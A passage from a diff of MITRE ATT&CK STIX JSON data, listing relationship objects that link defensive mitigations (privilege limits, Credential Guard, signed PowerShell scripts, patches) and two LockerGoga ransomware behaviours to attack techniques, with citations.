Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2021-08-19T16:57:27.426Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:15:43.002Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ae4531a8-ff8d-4a77-9998-c5d37d6134a9", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "modified": "2020-03-19T15:11:39.900Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:22:37.273Z", + "external_references": [ + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7eeaeee6-9ac5-440f-9c31-2e4a915b637e", + "description": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "modified": "2021-01-11T19:48:38.019Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:33:42.484Z", + "external_references": [ + { + "url": "https://wald0.com/?p=179", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "source_name": "Wald0 Guide to GPOs" + }, + { + "source_name": "Microsoft WMI Filters", + "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.", + "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo", + "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.", + "source_name": "Microsoft GPO Security Filtering" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6bff324f-74fc-48a3-b0aa-7e66e5500f2a", + "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "modified": "2020-01-24T16:48:51.338Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-17T21:50:17.087Z", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--29d1699f-c87d-4e6c-ac34-b1b46c43286a", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) installation has been immediately preceded by a \"task kill\" command in order to disable anti-virus.(Citation: Wired Lockergoga 2019)", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2019-07-25T14:22:27.818Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-17T23:32:02.493Z", + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c035989f-a86f-4746-a9d4-3286dc68e473", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been signed with stolen certificates in order to make it look more legitimate.(Citation: Wired Lockergoga 2019)", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "modified": "2019-07-25T14:22:27.826Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-17T23:32:02.507Z", + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46f69cd8-dab9-4d7a-88cf-e234ce640b9d", + "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "modified": "2020-03-19T19:10:25.625Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:00:31.200Z", + "external_references": [ + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4cd9acb-aaea-4b77-890e-f153a58623a4", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. 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(Citation: SpectorOps Code Signing Dec 2017)", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "modified": "2020-02-21T21:11:07.159Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:16:29.839Z", + "external_references": [ + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63be47af-23d6-4a4b-8236-957106973968", + "description": "Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "modified": "2020-01-24T17:57:51.450Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:24:28.408Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--976a5089-8355-40af-81a6-53b1d240d064", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "modified": "2020-02-12T18:55:55.449Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:25:08.671Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--016279df-8d48-4e2f-aa39-2be744f0681e", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "modified": "2020-01-17T16:52:36.102Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:25:53.814Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba31b51b-d55c-4047-a3f5-1455bca4caa1", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "modified": "2020-03-19T15:08:50.242Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:26:40.751Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df2171ce-b48b-48d1-aa70-bc5514da033b", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "modified": "2020-03-10T18:31:00.611Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:27:13.190Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6ef1c3f-291a-4ccb-961b-45a8b92effbe", + "description": "Whitelist applications via known hashes.", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "modified": "2020-01-24T14:22:27.735Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:28:31.824Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6cbc9b8-f547-414a-8fb8-b493128c533e", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs.", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "modified": "2020-03-19T18:17:25.914Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:32:39.956Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--40417d08-36df-41b0-ac1f-aa9fa445e229", + "description": "Restrict users from being able to create their own login items.", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "modified": "2020-03-19T19:17:58.695Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:33:06.165Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6b51b9a-040c-4860-ba44-811992df131d", + "description": "On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "modified": "2020-01-24T18:50:29.231Z", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:35:28.295Z", + "external_references": [ + { + "source_name": "Microsoft Enable Cred Guard April 2017", + "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage" + }, + { + "source_name": "Microsoft Credential Guard April 2017", + "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) opportunities can limit the exposure to this technique.", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "modified": "2021-10-18T12:11:17.020Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:36:27.535Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eb5ade8c-73e9-4b69-9dea-c8a8206dec25", + "description": "Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-06-09T18:51:50.597Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T15:46:37.654Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--738a3345-87be-462f-b177-4831720ab1f7", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "modified": "2020-03-16T16:06:07.987Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:20:52.405Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80f94d40-0861-4403-b206-1c864a136788", + "description": "Ensure proper network segmentation is followed to protect critical servers and devices.", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2021-04-09T14:56:26.706Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:38:51.138Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--24f37698-b4a1-49fb-8de3-5e4529e99c41", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "modified": "2020-03-17T16:21:36.708Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:43:26.127Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7da3b985-e6ab-4e29-aa53-30a621bd48d3", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "modified": "2021-08-16T21:25:04.436Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:52:10.043Z", + "external_references": [ + { + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms" + }, + { + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ea374714-5df4-4858-83cb-5966a8d4d531", + "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.173Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:56:40.253Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48fc9c14-0ec3-460a-bb95-fe9a1566397e", + "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. ", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.171Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:56:40.280Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21a4afb6-8821-45ac-a80a-351ec3c79309", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: CERT-EU Golden Ticket Protection)", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "modified": "2020-01-30T19:57:16.534Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:59:03.979Z", + "external_references": [ + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--616c6cf9-dc97-48f6-846b-50b63be7bbe3", + "description": "Do not allow a user to be a local administrator for multiple systems.", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "modified": "2020-01-30T19:57:16.563Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T16:59:04.008Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0b67251-0588-4e5f-9b31-887b5746346e", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "modified": "2020-02-11T19:06:19.026Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:02:26.200Z", + "external_references": [ + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a8e7eea-dbef-45b4-9b97-0d85b5defb83", + "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "modified": "2020-07-06T18:49:36.003Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:08:41.171Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b", + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "modified": "2021-02-17T14:23:49.748Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:11:15.628Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b188b994-7965-4c34-81d6-307f218ba80e", + "description": "When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) ", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "modified": "2020-03-09T13:51:07.143Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:15:10.792Z", + "external_references": [ + { + "source_name": "Netspi PowerShell Execution Policy Bypass", + "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.", + "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79568b8a-09c2-40fa-acd9-c7d369059b6a", + "description": "Set PowerShell execution policy to execute only signed scripts. ", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "modified": "2020-03-09T13:51:07.173Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:15:10.820Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--34f26e01-4568-47ef-8618-612e89207ee8", + "description": "Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified. ", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "modified": "2020-01-24T15:11:53.654Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:19:08.784Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8c10524a-c52a-4931-a246-959df48d4b63", + "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "modified": "2020-02-18T16:51:58.023Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:21:52.952Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bcdd57cf-632f-4fc5-a8e8-d3137cb832e8", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. For example, on Windows 10, Attack Surface Reduction (ASR) rules may prevent Office applications from code injection. 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Retrieved June 24, 2021.", + "source_name": "win10_asr" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3cb6f102-ebd2-4cd0-8bb4-02c04288c493", + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "modified": "2020-01-15T16:27:32.721Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:28:22.928Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ede8d04b-ac86-4210-af8c-52bb75fef6f3", + "description": "Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "modified": "2020-01-31T19:00:31.080Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:31:27.470Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54306888-1f93-4461-bcac-a56ae7073b31", + "description": "Use application control to mitigate installation and use of unapproved software that can be used for remote access.", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2020-06-20T20:42:37.470Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": 